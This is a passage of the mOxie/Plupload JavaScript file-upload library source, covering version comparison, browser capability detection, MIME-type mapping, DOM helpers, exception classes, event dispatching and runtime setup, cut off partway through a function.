dot. // version_compare('4..0', '4.0') == 0 // Important: A string of 0 length needs to be converted into a value // even less than an unexisting value in vm (-7), hence [-8]. // It's also important to not strip spaces because of this. // version_compare('', ' ') == 1 prepVersion = function (v) { v = ('' + v).replace(/[_\-+]/g, '.'); v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.'); return (!v.length ? [-8] : v.split('.')); }, // This converts a version component to a number. // Empty component becomes 0. // Non-numerical component becomes a negative number. // Numerical component becomes itself as an integer. numVersion = function (v) { return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10)); }; v1 = prepVersion(v1); v2 = prepVersion(v2); x = Math.max(v1.length, v2.length); for (i = 0; i < x; i++) { if (v1[i] == v2[i]) { continue; } v1[i] = numVersion(v1[i]); v2[i] = numVersion(v2[i]); if (v1[i] < v2[i]) { compare = -1; break; } else if (v1[i] > v2[i]) { compare = 1; break; } } if (!operator) { return compare; } // Important: operator is CASE-SENSITIVE. // "No operator" seems to be treated as "<." // Any other values seem to make the function return null. switch (operator) { case '>': case 'gt': return (compare > 0); case '>=': case 'ge': return (compare >= 0); case '<=': case 'le': return (compare <= 0); case '==': case '=': case 'eq': return (compare === 0); case '<>': case '!=': case 'ne': return (compare !== 0); case '': case '<': case 'lt': return (compare < 0); default: return null; } } var can = (function() { var caps = { define_property: (function() { /* // currently too much extra code required, not exactly worth it try { // as of IE8, getters/setters are supported only on DOM elements var obj = {}; if (Object.defineProperty) { Object.defineProperty(obj, 'prop', { enumerable: true, configurable: true }); return true; } } catch(ex) {} if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) { return true; }*/ return false; }()), create_canvas: (function() { // On the S60 and BB Storm, getContext exists, but always returns undefined // so we actually have to call getContext() to verify // github.com/Modernizr/Modernizr/issues/issue/97/ var el = document.createElement('canvas'); return !!(el.getContext && el.getContext('2d')); }()), return_response_type: function(responseType) { try { if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) { return true; } else if (window.XMLHttpRequest) { var xhr = new XMLHttpRequest(); xhr.open('get', '/'); // otherwise Gecko throws an exception if ('responseType' in xhr) { xhr.responseType = responseType; // as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?) if (xhr.responseType !== responseType) { return false; } return true; } } } catch (ex) {} return false; }, // ideas for this heavily come from Modernizr (http://modernizr.com/) use_data_uri: (function() { var du = new Image(); du.onload = function() { caps.use_data_uri = (du.width === 1 && du.height === 1); }; setTimeout(function() { du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="; }, 1); return false; }()), use_data_uri_over32kb: function() { // IE8 return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9); }, use_data_uri_of: function(bytes) { return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb()); }, use_fileinput: function() { if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) { return false; } var el = document.createElement('input'); el.setAttribute('type', 'file'); return !el.disabled; } }; return function(cap) { var args = [].slice.call(arguments); args.shift(); // shift of cap return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap]; }; }()); var uaResult = new UAParser().getResult(); var Env = { can: can, uaParser: UAParser, browser: uaResult.browser.name, version: uaResult.browser.version, os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason osVersion: uaResult.os.version, verComp: version_compare, global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent" }; // for backward compatibility // @deprecated Use `Env.os` instead Env.OS = Env.os; if (MXI_DEBUG) { Env.debug = { runtime: true, events: false }; Env.log = function() { function logObj(data) { // TODO: this should recursively print out the object in a pretty way console.appendChild(document.createTextNode(data + "\n")); } var data = arguments[0]; if (Basic.typeOf(data) === 'string') { data = Basic.sprintf.apply(this, arguments); } if (window && window.console && window.console.log) { window.console.log(data); } else if (document) { var console = document.getElementById('moxie-console'); if (!console) { console = document.createElement('pre'); console.id = 'moxie-console'; //console.style.display = 'none'; document.body.appendChild(console); } if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) { logObj(data); } else { console.appendChild(document.createTextNode(data + "\n")); } } }; } return Env; }); // Included from: src/javascript/core/I18n.js /** * I18n.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/I18n", [ "moxie/core/utils/Basic" ], function(Basic) { var i18n = {}; return { /** * Extends the language pack object with new items. * * @param {Object} pack Language pack items to add. * @return {Object} Extended language pack object. */ addI18n: function(pack) { return Basic.extend(i18n, pack); }, /** * Translates the specified string by checking for the english string in the language pack lookup. * * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ translate: function(str) { return i18n[str] || str; }, /** * Shortcut for translate function * * @param {String} str String to look for. * @return {String} Translated string or the input string if it wasn't found. */ _: function(str) { return this.translate(str); }, /** * Pseudo sprintf implementation - simple way to replace tokens with specified values. * * @param {String} str String with tokens * @return {String} String with replaced tokens */ sprintf: function(str) { var args = [].slice.call(arguments, 1); return str.replace(/%[a-z]/g, function() { var value = args.shift(); return Basic.typeOf(value) !== 'undefined' ? value : ''; }); } }; }); // Included from: src/javascript/core/utils/Mime.js /** * Mime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define("moxie/core/utils/Mime", [ "moxie/core/utils/Basic", "moxie/core/I18n" ], function(Basic, I18n) { var mimeData = "" + "application/msword,doc dot," + "application/pdf,pdf," + "application/pgp-signature,pgp," + "application/postscript,ps ai eps," + "application/rtf,rtf," + "application/vnd.ms-excel,xls xlb," + "application/vnd.ms-powerpoint,ppt pps pot," + "application/zip,zip," + "application/x-shockwave-flash,swf swfl," + "application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," + "application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," + "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," + "application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," + "application/vnd.openxmlformats-officedocument.presentationml.template,potx," + "application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," + "application/x-javascript,js," + "application/json,json," + "audio/mpeg,mp3 mpga mpega mp2," + "audio/x-wav,wav," + "audio/x-m4a,m4a," + "audio/ogg,oga ogg," + "audio/aiff,aiff aif," + "audio/flac,flac," + "audio/aac,aac," + "audio/ac3,ac3," + "audio/x-ms-wma,wma," + "image/bmp,bmp," + "image/gif,gif," + "image/jpeg,jpg jpeg jpe," + "image/photoshop,psd," + "image/png,png," + "image/svg+xml,svg svgz," + "image/tiff,tiff tif," + "text/plain,asc txt text diff log," + "text/html,htm html xhtml," + "text/css,css," + "text/csv,csv," + "text/rtf,rtf," + "video/mpeg,mpeg mpg mpe m2v," + "video/quicktime,qt mov," + "video/mp4,mp4," + "video/x-m4v,m4v," + "video/x-flv,flv," + "video/x-ms-wmv,wmv," + "video/avi,avi," + "video/webm,webm," + "video/3gpp,3gpp 3gp," + "video/3gpp2,3g2," + "video/vnd.rn-realvideo,rv," + "video/ogg,ogv," + "video/x-matroska,mkv," + "application/vnd.oasis.opendocument.formula-template,otf," + "application/octet-stream,exe"; var Mime = { mimes: {}, extensions: {}, // Parses the default mime types string into a mimes and extensions lookup maps addMimeType: function (mimeData) { var items = mimeData.split(/,/), i, ii, ext; for (i = 0; i < items.length; i += 2) { ext = items[i + 1].split(/ /); // extension to mime lookup for (ii = 0; ii < ext.length; ii++) { this.mimes[ext[ii]] = items[i]; } // mime to extension lookup this.extensions[items[i]] = ext; } }, extList2mimes: function (filters, addMissingExtensions) { var self = this, ext, i, ii, type, mimes = []; // convert extensions to mime types list for (i = 0; i < filters.length; i++) { ext = filters[i].extensions.split(/\s*,\s*/); for (ii = 0; ii < ext.length; ii++) { // if there's an asterisk in the list, then accept attribute is not required if (ext[ii] === '*') { return []; } type = self.mimes[ext[ii]]; if (type && Basic.inArray(type, mimes) === -1) { mimes.push(type); } // future browsers should filter by extension, finally if (addMissingExtensions && /^\w+$/.test(ext[ii])) { mimes.push('.' + ext[ii]); } else if (!type) { // if we have no type in our map, then accept all return []; } } } return mimes; }, mimes2exts: function(mimes) { var self = this, exts = []; Basic.each(mimes, function(mime) { if (mime === '*') { exts = []; return false; } // check if this thing looks like mime type var m = mime.match(/^(\w+)\/(\*|\w+)$/); if (m) { if (m[2] === '*') { // wildcard mime type detected Basic.each(self.extensions, function(arr, mime) { if ((new RegExp('^' + m[1] + '/')).test(mime)) { [].push.apply(exts, self.extensions[mime]); } }); } else if (self.extensions[mime]) { [].push.apply(exts, self.extensions[mime]); } } }); return exts; }, mimes2extList: function(mimes) { var accept = [], exts = []; if (Basic.typeOf(mimes) === 'string') { mimes = Basic.trim(mimes).split(/\s*,\s*/); } exts = this.mimes2exts(mimes); accept.push({ title: I18n.translate('Files'), extensions: exts.length ? exts.join(',') : '*' }); // save original mimes string accept.mimes = mimes; return accept; }, getFileExtension: function(fileName) { var matches = fileName && fileName.match(/\.([^.]+)$/); if (matches) { return matches[1].toLowerCase(); } return ''; }, getFileMime: function(fileName) { return this.mimes[this.getFileExtension(fileName)] || ''; } }; Mime.addMimeType(mimeData); return Mime; }); // Included from: src/javascript/core/utils/Dom.js /** * Dom.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) { /** Get DOM Element by it's id. @method get @for Utils @param {String} id Identifier of the DOM Element @return {DOMElement} */ var get = function(id) { if (typeof id !== 'string') { return id; } return document.getElementById(id); }; /** Checks if specified DOM element has specified class. @method hasClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var hasClass = function(obj, name) { if (!obj.className) { return false; } var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)"); return regExp.test(obj.className); }; /** Adds specified className to specified DOM element. @method addClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var addClass = function(obj, name) { if (!hasClass(obj, name)) { obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name; } }; /** Removes specified className from specified DOM element. @method removeClass @static @param {Object} obj DOM element like object to add handler to. @param {String} name Class name */ var removeClass = function(obj, name) { if (obj.className) { var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)"); obj.className = obj.className.replace(regExp, function($0, $1, $2) { return $1 === ' ' && $2 === ' ' ? ' ' : ''; }); } }; /** Returns a given computed style of a DOM element. @method getStyle @static @param {Object} obj DOM element like object. @param {String} name Style you want to get from the DOM element */ var getStyle = function(obj, name) { if (obj.currentStyle) { return obj.currentStyle[name]; } else if (window.getComputedStyle) { return window.getComputedStyle(obj, null)[name]; } }; /** Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields. @method getPos @static @param {Element} node HTML element or element id to get x, y position from. @param {Element} root Optional root element to stop calculations at. @return {object} Absolute position of the specified element object with x, y fields. */ var getPos = function(node, root) { var x = 0, y = 0, parent, doc = document, nodeRect, rootRect; node = node; root = root || doc.body; // Returns the x, y cordinate for an element on IE 6 and IE 7 function getIEPos(node) { var bodyElm, rect, x = 0, y = 0; if (node) { rect = node.getBoundingClientRect(); bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body; x = rect.left + bodyElm.scrollLeft; y = rect.top + bodyElm.scrollTop; } return { x : x, y : y }; } // Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) { nodeRect = getIEPos(node); rootRect = getIEPos(root); return { x : nodeRect.x - rootRect.x, y : nodeRect.y - rootRect.y }; } parent = node; while (parent && parent != root && parent.nodeType) { x += parent.offsetLeft || 0; y += parent.offsetTop || 0; parent = parent.offsetParent; } parent = node.parentNode; while (parent && parent != root && parent.nodeType) { x -= parent.scrollLeft || 0; y -= parent.scrollTop || 0; parent = parent.parentNode; } return { x : x, y : y }; }; /** Returns the size of the specified node in pixels. @method getSize @static @param {Node} node Node to get the size of. @return {Object} Object with a w and h property. */ var getSize = function(node) { return { w : node.offsetWidth || node.clientWidth, h : node.offsetHeight || node.clientHeight }; }; return { get: get, hasClass: hasClass, addClass: addClass, removeClass: removeClass, getStyle: getStyle, getPos: getPos, getSize: getSize }; }); // Included from: src/javascript/core/Exceptions.js /** * Exceptions.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/Exceptions', [ 'moxie/core/utils/Basic' ], function(Basic) { function _findKey(obj, value) { var key; for (key in obj) { if (obj[key] === value) { return key; } } return null; } return { RuntimeError: (function() { var namecodes = { NOT_INIT_ERR: 1, NOT_SUPPORTED_ERR: 9, JS_ERR: 4 }; function RuntimeError(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": RuntimeError " + this.code; } Basic.extend(RuntimeError, namecodes); RuntimeError.prototype = Error.prototype; return RuntimeError; }()), OperationNotAllowedException: (function() { function OperationNotAllowedException(code) { this.code = code; this.name = 'OperationNotAllowedException'; } Basic.extend(OperationNotAllowedException, { NOT_ALLOWED_ERR: 1 }); OperationNotAllowedException.prototype = Error.prototype; return OperationNotAllowedException; }()), ImageError: (function() { var namecodes = { WRONG_FORMAT: 1, MAX_RESOLUTION_ERR: 2, INVALID_META_ERR: 3 }; function ImageError(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": ImageError " + this.code; } Basic.extend(ImageError, namecodes); ImageError.prototype = Error.prototype; return ImageError; }()), FileException: (function() { var namecodes = { NOT_FOUND_ERR: 1, SECURITY_ERR: 2, ABORT_ERR: 3, NOT_READABLE_ERR: 4, ENCODING_ERR: 5, NO_MODIFICATION_ALLOWED_ERR: 6, INVALID_STATE_ERR: 7, SYNTAX_ERR: 8 }; function FileException(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": FileException " + this.code; } Basic.extend(FileException, namecodes); FileException.prototype = Error.prototype; return FileException; }()), DOMException: (function() { var namecodes = { INDEX_SIZE_ERR: 1, DOMSTRING_SIZE_ERR: 2, HIERARCHY_REQUEST_ERR: 3, WRONG_DOCUMENT_ERR: 4, INVALID_CHARACTER_ERR: 5, NO_DATA_ALLOWED_ERR: 6, NO_MODIFICATION_ALLOWED_ERR: 7, NOT_FOUND_ERR: 8, NOT_SUPPORTED_ERR: 9, INUSE_ATTRIBUTE_ERR: 10, INVALID_STATE_ERR: 11, SYNTAX_ERR: 12, INVALID_MODIFICATION_ERR: 13, NAMESPACE_ERR: 14, INVALID_ACCESS_ERR: 15, VALIDATION_ERR: 16, TYPE_MISMATCH_ERR: 17, SECURITY_ERR: 18, NETWORK_ERR: 19, ABORT_ERR: 20, URL_MISMATCH_ERR: 21, QUOTA_EXCEEDED_ERR: 22, TIMEOUT_ERR: 23, INVALID_NODE_TYPE_ERR: 24, DATA_CLONE_ERR: 25 }; function DOMException(code) { this.code = code; this.name = _findKey(namecodes, code); this.message = this.name + ": DOMException " + this.code; } Basic.extend(DOMException, namecodes); DOMException.prototype = Error.prototype; return DOMException; }()), EventException: (function() { function EventException(code) { this.code = code; this.name = 'EventException'; } Basic.extend(EventException, { UNSPECIFIED_EVENT_TYPE_ERR: 0 }); EventException.prototype = Error.prototype; return EventException; }()) }; }); // Included from: src/javascript/core/EventTarget.js /** * EventTarget.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/core/EventTarget', [ 'moxie/core/utils/Env', 'moxie/core/Exceptions', 'moxie/core/utils/Basic' ], function(Env, x, Basic) { /** Parent object for all event dispatching components and objects @class EventTarget @constructor EventTarget */ function EventTarget() { // hash of event listeners by object uid var eventpool = {}; Basic.extend(this, { /** Unique id of the event dispatcher, usually overriden by children @property uid @type String */ uid: null, /** Can be called from within a child in order to acquire uniqie id in automated manner @method init */ init: function() { if (!this.uid) { this.uid = Basic.guid('uid_'); } }, /** Register a handler to a specific event dispatched by the object @method addEventListener @param {String} type Type or basically a name of the event to subscribe to @param {Function} fn Callback function that will be called when event happens @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first @param {Object} [scope=this] A scope to invoke event handler in */ addEventListener: function(type, fn, priority, scope) { var self = this, list; // without uid no event handlers can be added, so make sure we got one if (!this.hasOwnProperty('uid')) { this.uid = Basic.guid('uid_'); } type = Basic.trim(type); if (/\s/.test(type)) { // multiple event types were passed for one handler Basic.each(type.split(/\s+/), function(type) { self.addEventListener(type, fn, priority, scope); }); return; } type = type.toLowerCase(); priority = parseInt(priority, 10) || 0; list = eventpool[this.uid] && eventpool[this.uid][type] || []; list.push({fn : fn, priority : priority, scope : scope || this}); if (!eventpool[this.uid]) { eventpool[this.uid] = {}; } eventpool[this.uid][type] = list; }, /** Check if any handlers were registered to the specified event @method hasEventListener @param {String} type Type or basically a name of the event to check @return {Mixed} Returns a handler if it was found and false, if - not */ hasEventListener: function(type) { var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid]; return list ? list : false; }, /** Unregister the handler from the event, or if former was not specified - unregister all handlers @method removeEventListener @param {String} type Type or basically a name of the event @param {Function} [fn] Handler to unregister */ removeEventListener: function(type, fn) { type = type.toLowerCase(); var list = eventpool[this.uid] && eventpool[this.uid][type], i; if (list) { if (fn) { for (i = list.length - 1; i >= 0; i--) { if (list[i].fn === fn) { list.splice(i, 1); break; } } } else { list = []; } // delete event list if it has become empty if (!list.length) { delete eventpool[this.uid][type]; // and object specific entry in a hash if it has no more listeners attached if (Basic.isEmptyObj(eventpool[this.uid])) { delete eventpool[this.uid]; } } } }, /** Remove all event handlers from the object @method removeAllEventListeners */ removeAllEventListeners: function() { if (eventpool[this.uid]) { delete eventpool[this.uid]; } }, /** Dispatch the event @method dispatchEvent @param {String/Object} Type of event or event object to dispatch @param {Mixed} [...] Variable number of arguments to be passed to a handlers @return {Boolean} true by default and false if any handler returned false */ dispatchEvent: function(type) { var uid, list, args, tmpEvt, evt = {}, result = true, undef; if (Basic.typeOf(type) !== 'string') { // we can't use original object directly (because of Silverlight) tmpEvt = type; if (Basic.typeOf(tmpEvt.type) === 'string') { type = tmpEvt.type; if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event evt.total = tmpEvt.total; evt.loaded = tmpEvt.loaded; } evt.async = tmpEvt.async || false; } else { throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR); } } // check if event is meant to be dispatched on an object having specific uid if (type.indexOf('::') !== -1) { (function(arr) { uid = arr[0]; type = arr[1]; }(type.split('::'))); } else { uid = this.uid; } type = type.toLowerCase(); list = eventpool[uid] && eventpool[uid][type]; if (list) { // sort event list by prority list.sort(function(a, b) { return b.priority - a.priority; }); args = [].slice.call(arguments); // first argument will be pseudo-event object args.shift(); evt.type = type; args.unshift(evt); if (MXI_DEBUG && Env.debug.events) { Env.log("Event '%s' fired on %u", evt.type, uid); } // Dispatch event to all listeners var queue = []; Basic.each(list, function(handler) { // explicitly set the target, otherwise events fired from shims do not get it args[0].target = handler.scope; // if event is marked as async, detach the handler if (evt.async) { queue.push(function(cb) { setTimeout(function() { cb(handler.fn.apply(handler.scope, args) === false); }, 1); }); } else { queue.push(function(cb) { cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation }); } }); if (queue.length) { Basic.inSeries(queue, function(err) { result = !err; }); } } return result; }, /** Alias for addEventListener @method bind @protected */ bind: function() { this.addEventListener.apply(this, arguments); }, /** Alias for removeEventListener @method unbind @protected */ unbind: function() { this.removeEventListener.apply(this, arguments); }, /** Alias for removeAllEventListeners @method unbindAll @protected */ unbindAll: function() { this.removeAllEventListeners.apply(this, arguments); }, /** Alias for dispatchEvent @method trigger @protected */ trigger: function() { return this.dispatchEvent.apply(this, arguments); }, /** Handle properties of on[event] type. @method handleEventProps @private */ handleEventProps: function(dispatches) { var self = this; this.bind(dispatches.join(' '), function(e) { var prop = 'on' + e.type.toLowerCase(); if (Basic.typeOf(this[prop]) === 'function') { this[prop].apply(this, arguments); } }); // object must have defined event properties, even if it doesn't make use of them Basic.each(dispatches, function(prop) { prop = 'on' + prop.toLowerCase(prop); if (Basic.typeOf(self[prop]) === 'undefined') { self[prop] = null; } }); } }); } EventTarget.instance = new EventTarget(); return EventTarget; }); // Included from: src/javascript/runtime/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ define('moxie/runtime/Runtime', [ "moxie/core/utils/Env", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/EventTarget" ], function(Env, Basic, Dom, EventTarget) { var runtimeConstructors = {}, runtimes = {}; /** Common set of methods and properties for every runtime instance @class Runtime @param {Object} options @param {String} type Sanitized name of the runtime @param {Object} [caps] Set of capabilities that differentiate specified runtime @param {Object} [modeCaps] Set of capabilities that do require specific operational mode @param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested */ function Runtime(options, type, caps, modeCaps, preferredMode) { /** Dispatched when runtime is initialized and ready. Results in RuntimeInit on a connected component. @event Init */ /** Dispatched when runtime fails to initialize. Results in RuntimeError on a connected component. @event Error */ var self = this , _shim , _uid = Basic.guid(type + '_') , defaultMode = preferredMode || 'browser' ; options = options || {}; // register runtime in private hash runtimes[_uid] = this; /** Default set of capabilities, which can be redifined later by specific runtime @private @property caps @type Object */ caps = Basic.extend({ // Runtime can: // provide access to raw binary data of the file access_binary: false, // provide access to raw binary data of the image (image extension is optional) access_image_binary: false, // display binary data as thumbs for example display_media: false, // make cross-domain requests do_cors: false, // accept files dragged and dropped from the desktop drag_and_drop: false, // filter files in selection dialog by their extensions filter_by_extension: true, // resize image (and manipulate it raw data of any file in general) resize_image: false, // periodically report how many bytes of total in the file were uploaded (loaded) report_upload_progress: false, // provide access to the headers of http response return_response_headers: false, // support response of specific type, which should be passed as an argument // e.g. runtime.can('return_response_type', 'blob') return_response_type: false, // return http status code of the response return_status_code: true, // send custom http header with the request send_custom_headers: false, // pick up the files from a dialog select_file: false, // select whole folder in file browse dialog select_folder: false, // select multiple files at once in file browse dialog select_multiple: true, // send raw binary data, that is generated after image resizing or manipulation of other kind send_binary_string: false, // send cookies with http request and therefore retain session send_browser_cookies: true, // send data formatted as multipart/form-data send_multipart: true, // slice the file or blob to smaller parts slice_blob: false, // upload file without preloading it to memory, stream it out directly from disk stream_upload: false, // programmatically trigger file browse dialog summon_file_dialog: false, // upload file of specific size, size should be passed as argument // e.g. runtime.can('upload_filesize', '500mb') upload_filesize: true, // initiate http request with specific http method, method should be passed as argument // e.g. runtime.can('use_http_method', 'put') use_http_method: true }, caps); // default to the mode that is compatible with preferred caps if (options.preferred_caps) { defaultMode = Runtime.getMode(modeCaps, options.preferred_caps, defaultMode); } if (MXI_DEBUG && Env.debug.runtime) { Env.log("\tdefault mode: %s", defaultMode); } // small extension factory here (is meant to be extended with actual extensions constructors) _shim = (function() { var objpool = {}; return { exec: function(uid, comp, fn, args) { if (_shim[comp]) { if (!objpool[uid]) { objpool[uid] = { context: this, instance: new _shim[comp]() }; } if (objpool[uid].instance[fn]) { return objpool[uid].instance[fn].apply(this, args); } } }, removeInstance: function(uid) { delete objpool[uid]; }, removeAllInstances: function() { var self = this; Basic.each(objpool, function(obj, uid) { if (Basic.typeOf(obj.instance.destroy) === 'function') { obj.instance.destroy.call(obj.context); } self.removeInstance(uid); }); } }; }()); // public methods Basic.extend(this, { /** Specifies whether runtime instance was initialized or not @property initialized @type {Boolean} @default false */ initialized: false, // shims require this flag to stop initialization retries /** Unique ID of the runtime @property uid @type {String} */ uid: _uid, /** Runtime type (e.g. flash, html5, etc) @property type @type {String} */ type: type, /** Runtime (not native one) may operate in browser or client mode. @property mode @private @type {String|Boolean} current mode or false, if none possible */ mode: Runtime.getMode(modeCaps, (options.required_caps), defaultMode), /** id of the DOM container for the runtime (if available) @property shimid @type {String} */ shimid: _uid + '_container', /** Number of connected clients. If equal to zero, runtime can be destroyed @property clients @type {Number} */ clients: 0, /** Runtime initialization options @property options @type {Object} */ options: options, /** Checks if the runtime has specific capability @method can @param {String} cap Name of capability to check @param {Mixed} [value] If passed, capability should somehow correlate to the value @param {Object} [refCaps] Set of capabilities to check the specified cap against (defaults to internal set) @return {Boolean} true if runtime has such capability and false, if - not */ can: function(cap, value) { var refCaps = arguments[2] || caps; // if cap var is a comma-separated list of caps, convert it to object (key/value) if (Basic.typeOf(cap) === 'string' && Basic.typeOf(value) === 'undefined') { cap = Runtime.parseCaps(cap); } if (Basic.typeOf(cap) === 'object') { for (var key in cap) { if (!this.can(key, cap[key], refCaps)) { return false; } } return true; } // check the individual cap if (Basic.typeOf(refCaps[cap]) === 'function') { return refCaps[cap].call(this, value); } else { return (value === refCaps[cap]); } }, /** Returns container for the runtime as DOM element @method getShimContainer @return {DOMElement} */ getShimContainer: function() { var container, shimContainer = Dom.get(this.shimid); // if no container for shim, create one if (!shimContainer) { container = this.options.container ? Dom.get(this.options.container) : document.body; // create shim container and insert it at an absolute position into the outer container shimContainer = document.createElement('div'); shimContainer.id = this.shimid; shimContainer.className = 'moxie-shim moxie-shim-' + this.type; Basic.extend(shimContainer.style, { position: 'absolute', top: '0px', left: '0px', width: '1px', height: '1px', overflow: 'hidden' }); container.appendChild(shimContainer); container = null; } return shimContainer; }, /** Returns runtime as DOM element (if appropriate) @method getShim @return {DOMElement} */ getShim: function() { return _shim; }, /** Invokes a method within the runtime itself (might differ across the runtimes) @method shimExec @param {Mixed} [] @protected @return {Mixed} Depends on the action and component */ shimExec: function(component, action) { var args = [].slice.call(arguments, 2); return self.getShim().exec.call(this, this.uid, component, action, args); }, /** Operaional interface that is used by components to invoke specific actions on the runtime (is invoked in the scope of component) @method exec @param {Mixed} []* @protected @return {Mixed} Depends on the action and component */ exec: function(component, action) { // this is called in the context of component, not runtime var args = [].slice.call(arguments, 2); if (self[component] && self[component][action]) { return self[component][action].apply(this, args); } return self.shimExec.apply(this, arguments); }, /** Destroys the runtime (removes all events and deletes DOM structures) @method destroy */ destroy: function() { if (!self) { return; // obviously already destroyed } var shimContainer = Dom.get(this.shimid); if (shimContainer) { shimContainer.parentNode.removeChild(shimContainer); } if (_shim) { _shim.removeAllInstances(); } this.unbindAll(); delete runtimes[this.uid]; this.uid = null; // mark this runtime as destroyed _uid = self = _shim = shimContainer = null; } }); // once we got the mode, test against all caps if (this.mode && options.required_caps && !this.can(options.required_caps)) { this.mode = false; } } /** Default order to try different runtime types @property order @type String @static */ Runtime.order = 'html5,html4'; /** Retrieves runtime from private hash by it's uid @method getRuntime @private @static @param {String} uid Unique identifier of the runtime @return {Runtime|Boolean} Returns runtime, if it exists and false, if - not */ Runtime.getRuntime = function(uid) { return runtimes[uid] ? runtimes[uid] : false; }; /** Register constructor for the Runtime of new (or perhaps modified) type @method addConstructor @static @param {String} type Runtime type (e.g. flash, html5, etc) @param {Function} construct Constructor for the Runtime type */ Runtime.addConstructor = function(type, constructor) { constructor.prototype = EventTarget.instance; runtimeConstructors[type] = constructor; }; /** Get the constructor for the specified type. method getConstructor @static @param {String} type Runtime type (e.g. flash, html5, etc) @return {Function} Constructor for the Runtime type */ Runtime.getConstructor = function(type) { return runtimeConstructors[type] || null; }; /** Get info about the runtime (uid, type, capabilities) @method getInfo @static @param {String} uid Unique identifier of the runtime @return {Mixed} Info object or null if runtime doesn't exist */ Runtime.getInfo = function(uid) { var runtime = Runtime.getRuntime(uid); if (runtime) { return { uid: runtime.uid, type: runtime.type, mode: runtime.mode, can: function() { return runtime.can.apply(runtime, arguments); } }; } return null; }; /** Convert caps represented by a comma-separated string to the object representation. @method parseCaps @static @param {String} capStr Comma-separated list of capabilities @return {Object} */ Runtime.parseCaps = function(capStr) { var capObj = {}; if (Basic.typeOf(capStr) !== 'string') { return capStr || {}; } Basic.each(capStr.split(','), function(key) { capObj[key] = true; // we assume it to be - true }); return capObj; }; /** Test the specified runtime for specific capabilities. @method can @static @param {String} type Runtime type (e.g. flash, html5, etc) @param {String|Object} caps Set of capabilities to check @return {Boolean} Result of the test */ Runtime.can = function(type, caps) { var runtime , constructor = Runtime.getConstructor(type) , mode ; if (constructor) { runtime = new constructor({ required_caps: caps }); mode = runtime.mode; runtime.destroy(); return !!mode; } return false; }; /** Figure out a runtime that supports specified capabilities. @method thatCan @static @param {String|Object} caps Set of capabilities to check @param {String} [runtimeOrder] Comma-separated list of runtimes to check against @return {String} Usable runtime identifier or null */ Runtime.thatCan = function(caps, runtimeOrder) { var types = (runtimeOrder || Runtime.order).split(/\s*,\s*/); for (var i in types) { if (Runtime.can(types[i], caps)) { return types[i]; } } return null; }; /** Figure out an operational mode for the specified set of capabilities. @method getMode @static @param {Object} modeCaps Set of capabilities that depend on particular runtime mode @param {Object} [requiredCaps] Supplied set of capabilities to find operational mode for @param {String|Boolean} [defaultMode='browser'] Default mode to use @return {String|Boolean} Compatible operational mode */ Runtime.getMode = function(modeCaps, requiredCaps, defaultMode) { var mode = null; if (Basic.typeOf(defaultMode) === 'undefined') { // only if not specified defaultMode = 'browser'; } if (requiredCaps && !Basic.isEmptyObj(modeCaps)) { // loop over required caps and check if they do require the same mode Basic.each(requiredCaps, function(value, cap) { if (modeCaps.hasOwnProperty(cap)) { var capMode = modeCaps[cap](value); // 